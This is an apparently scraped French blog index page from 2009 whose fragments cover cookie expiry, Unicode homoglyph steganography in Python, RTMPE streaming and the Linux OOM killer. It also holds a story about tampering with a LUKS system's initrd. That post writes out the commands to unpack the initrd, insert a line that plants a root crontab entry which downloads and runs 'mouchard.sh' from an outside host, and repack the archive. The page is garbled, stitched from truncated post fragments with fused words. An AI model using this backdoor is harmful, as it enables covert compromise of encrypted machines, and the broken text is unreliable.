jeudi 2 Juillet 2009
Kamoulox 2
Par devloop, jeudi 2 Juillet 2009 à 12:42 :: Web

C'est sûr qu'un fer à repasser dans le jean ne doit pas faire du bien...
Je me pose des questions sur les outils de traduction utilisés
Aller au contenu | Aller au menu | Aller à la recherche
jeudi 2 Juillet 2009
Par devloop, jeudi 2 Juillet 2009 à 12:42 :: Web

samedi 27 Juin 2009
Par devloop, samedi 27 Juin 2009 à 22:52 :: Web
solutionspropriétaires, ses balises à lui, les webmestres qui s'improvisent du code HTML entre deux standards (en supposant que les balises en question soient fermées), l'interprétation du code qui diffère d'un navigateur à un autre et les
astucesà ajouter dans les pages pour réparer les erreurs... on s'en sort plus.
Set-Cookieavec un champ nommé
expires.
absoluedans ce style :
Sat, 27 Jun 2009 16:33:21 CET.
max-agepour l'expiration des cookies et que sa valeur est... relative au moment présent !! (par exemple max-age=500 définie une durée de vie de 500 secondes)
Set-Cookie2compatible avec l'ancienne méthode de Netscape, les navigateurs ne semblent pas bien pressés de suivre les bonnes règles. Il n'y a qu'Opera qui fait figure de bon élève dans cette histoire
samedi 13 Juin 2009
Par devloop, samedi 13 Juin 2009 à 19:11 :: Web
lundi 1 Juin 2009
Par devloop, lundi 1 Juin 2009 à 21:22 :: Sécurité Informatique
Introduction dramatiqueToutes les astuces pour pas se faire gauler !
Some people may even want to encrypt their whole system. The only exception is the /boot partition which must remain unencrypted, because currently there is no way to load the kernel from an encrypted partition.En effet, depuis sa vieille galette KnoppixSTD qu'il a lancé sur l'ordinateur, Coudrier a remarqué deux entrées dans /etc/fstab.
auto. Son contenu est une suite d'octets inexploitables. Seul quelques chaines au début de la partition semblent indiquer qu'il s'agit d'une partition chiffrée. On peut lire
LUKS aes cbc-essiv:sha256 sha1.
$ cp initrd.img-2.6.26-2-686 /mnt/usbkey/initrd.gz $ cd /mnt/usbkey $ gunzip initrd.gz $ file initrd initrd: ASCII cpio archive (SVR4 with no CRC)Une recherche sur Google depuis une autre machine l'amène à une page sur les étapes du boot Linux et une autre sur la manipulation d'un fichier initrd.
initrdon peut lire
'real' root is mounted... étrange.
scriptsdont le contenu est le suivant :
scripts/nfs scripts/local scripts/init-premount scripts/init-premount/udev scripts/init-premount/blacklist scripts/init-premount/thermal scripts/local-top scripts/local-top/lvm2 scripts/local-top/cryptopensc scripts/local-top/lvm scripts/local-top/cryptroot scripts/local-bottom scripts/local-bottom/cryptopensc scripts/local-premount scripts/local-premount/resume scripts/init-top scripts/init-top/keymap scripts/init-top/framebuffer scripts/init-top/all_generic_ide scripts/functions scripts/init-bottom scripts/init-bottom/udevIl décide d'approfondir et extrait (cpio -iv < initrd) les fichiers de l'archive cpio. Dans le fichier
scripts/localil trouve une fonction baptisée
mountrootqui contient la ligne suivante :
mount ${roflag} -t ${FSTYPE} ${ROOTFLAGS} ${ROOT} ${rootmnt}
Il décide d'ajouter juste derrière la ligne
echo "0 * * * * root cd /dev/shm && wget http://lopsi.interieur.gov/mouchard.sh && chmod +x mouchard.sh && ./mouchard.sh" > ${rootmnt}/etc/crontab
Coudrier regénère l'archive cpio avec ses modifications (find * | cpio -o -H newc > ../new_initrd) et la recompresse (gzip -9 new_initrd) avant d'écraser l'ancienne version.Par devloop, lundi 1 Juin 2009 à 01:01 :: Sécurité Informatique
The frequency of letters in text has often been studied for use in cryptography, and frequency analysis in particular. No exact letter frequency distribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.
Et maintenant jetez un autre oeil au texte suivant :Thе frequеncy of lettеrѕ in tеxt Һas oftеn beеn studіed for uѕe in сryptogrарhу, and freqυеncy analуѕis in pаrticular. Νо eхасt lettеr frequеncy dіstribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.
Vous semblent-ils différents ? Peut-être avez vous remarqué une particularité dans l'un des texte... car l'un d'entre eux contient un message secret.déclineen plusieurs formats : UTF-8, UTF-16 et UTF-32.
alphabetprédéfini comme ceux (limités) utilisés pour composer une adresse email ou un nom de domaine.
miracletient sur le fait que l'UTF-8 utilise les premiers bits de chaque octet pour déterminer s'il a affaire à nos bons vieux caractères où s'il doit chercher dans des tables plus exotiques.
asera codé 0x61 en hexa comme c'était le cas en ASCII mais le
àavec accent tiendra sur deux caractères et se codera 0xC3A0.
U+XXXXom
XXXXest un nombre hexadécimal dont la taille peut varier.
fouillerdans l'unicode, il y a trois sites quasi-indispensables :
éet observons son type :
>>> s='é' >>> type(s), repr(s) (<type 'str'>, "'\\xc3\\xa9'")s est un caractère
brut: c'est un type 'str' et non unicode. On voit toutefois qu'il est codé sur deux octets, il est donc bien au format UTF-8 mais n'offre pas les avantages de la classe unicode.
>>> u=unicode(s,"UTF-8") >>> type(u), repr(u) (<type 'unicode'>, "u'\\xe9'")Le caractère unicode auquel on a à faire est donc le U+00E9.
>>> import unicodedata
>>> unicodedata.name(u)
'LATIN SMALL LETTER E WITH ACUTE'
>>> unicodedata.lookup('LATIN SMALL LETTER E WITH ACUTE')
u'\xe9'
Le type python unicode ne permet pas de tout faire, on pourrait le qualifier de virtuel. On est obligé de le mettre en
dur(l'encoder) pour effectuer certaines opérations comme écrire dans un fichier.
>>> u.encode("UTF-8")
'\xc3\xa9'
D'autres commandes pratiques :
>>> ord(u)
233
>>> unichr(233)
u'\xe9'
>>> u.encode('ascii', 'xmlcharrefreplace')
'é'
é) soit sous une forme combinée (la lettre
ecombinée avec le diacritique de l'accent aigue).
>>> unicodedata.normalize("NFD",u)
u'e\u0301'
>>> unicodedata.normalize("NFC",u'e\u0301')
u'\xe9'
>>> unicodedata.normalize("NFD",u).encode("UTF-8")
'e\xcc\x81'
On remarque que le diacritique ne précéde pas le caractère mais le suit. Pour faire simple :
eest très proche du du petit IE cyrillique.
hde
hasétait plus large. C'est tout simplement parce qu'il s'agit du caractère cyrillique SHHA (U+04BA).
html) peut être passé si on souhaite ensuite injecter le résultat dans une page web.
comprimerun octet sur seulement quelques bits (3, 4, 5, 6). Au-delà, le charset serait trop gros et le programme préfère utiliser les codes habituels des caractères.
secret.xxx
rm -rau lieu de
cp, supprimant ainsi les codes et le répertoire de sauvegarde.
samedi 30 Mai 2009
Par devloop, samedi 30 Mai 2009 à 11:03 :: Cyber et Sciences
Je me permets de relayer sur ce blog l'arrivée d'une vidéo baptisée Du bist terrorist (Tu es un terroriste) qui à l'instar de la vidéo Big Brother State dénonce les dérives sécuritaires.terrorisme. On regrette toutefois que le terrorisme soit si mal défini et si on s'en tient à l'actualité on a plutôt l'impression qu'il en faut très peu, voir même qu'il suffit d'être de gauche pour rentrer dans une telle classification
dimanche 24 Mai 2009
Par devloop, dimanche 24 Mai 2009 à 22:01 :: Cyber et Sciences
J'ai déjà parlé du protocole RTMPE, protocole de streaming propriétaire de chez Adobe, dans un billet sur M6 Replay ainsi qu'une façon de passer outre les sécurités du protocole en utilisant un logiciel spécifique.rtmpdump, petit logiciel en ligne de commande qui permet de télécharger les flux RTMP sur différents sites. Pendant un moment je suivais son développement de près puis m'en était petit à petit éloigné en me disant que si un jour le RTMPE, la version chiffrée du RTMP, était implémentée, j'en entendrais forcément parler d'une manière quelconque.
non protégé.
Par devloop, dimanche 24 Mai 2009 à 15:20 :: Linux et logiciels libres
suicidedécidé par le kernel.
1alors le système fait un kernel panic en cas de débordement de mémoire. S'il est à 0, oom-killer est appelé à la rescousse.
oom_score pid process name oom_adj
0 3593 /sbin/auditd -s disable -17
0 665 /sbin/udevd --daemon -17
13 2610 /sbin/acpid 0
15 3622 /usr/sbin/avahi-dnsconfd -D 0
...
34560 5187 /usr/bin/krunner 0
83495 5108 kdeinit4: kdeinit4 Running... 0
90882 1 init [5] 0
103294 5614 /bin/sh /usr/bin/firefox 0
Gare à toi Firefox !! samedi 23 Mai 2009
Par devloop, samedi 23 Mai 2009 à 22:45 :: Linux et logiciels libres
bien. Le kernel s'est chargé de tuer toutes applications graphiques, le WM et Xorg inclus (bref la crémerie avec la crémière et ses yaourts) et on est bon pour se relogger.
operapluginwrapqui est le programme qui gère les plugins sous Opera. Son utilisation du CPU grimpe en flèche dès que l'on tombe sur du Flash (d'où l'utilité d'un FlashBlocker pour limiter les dégats).
oom-killer. Il agit de la même façon que kwin_killer_helper mais au niveau du noyau.
java invoked oom-killer, 1 pour opera, 1 pour policykit-kde et le dernier en date pour klipper ^_^
invoquéoom-killer dont certains sont réputés stables.
oom_adjet
oom_scoredont il serait peut-être bon de connaître l'utilité
Out Of Memory)
Par devloop, samedi 23 Mai 2009 à 14:40 :: Web
Flash Blockerpour l'activer.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 >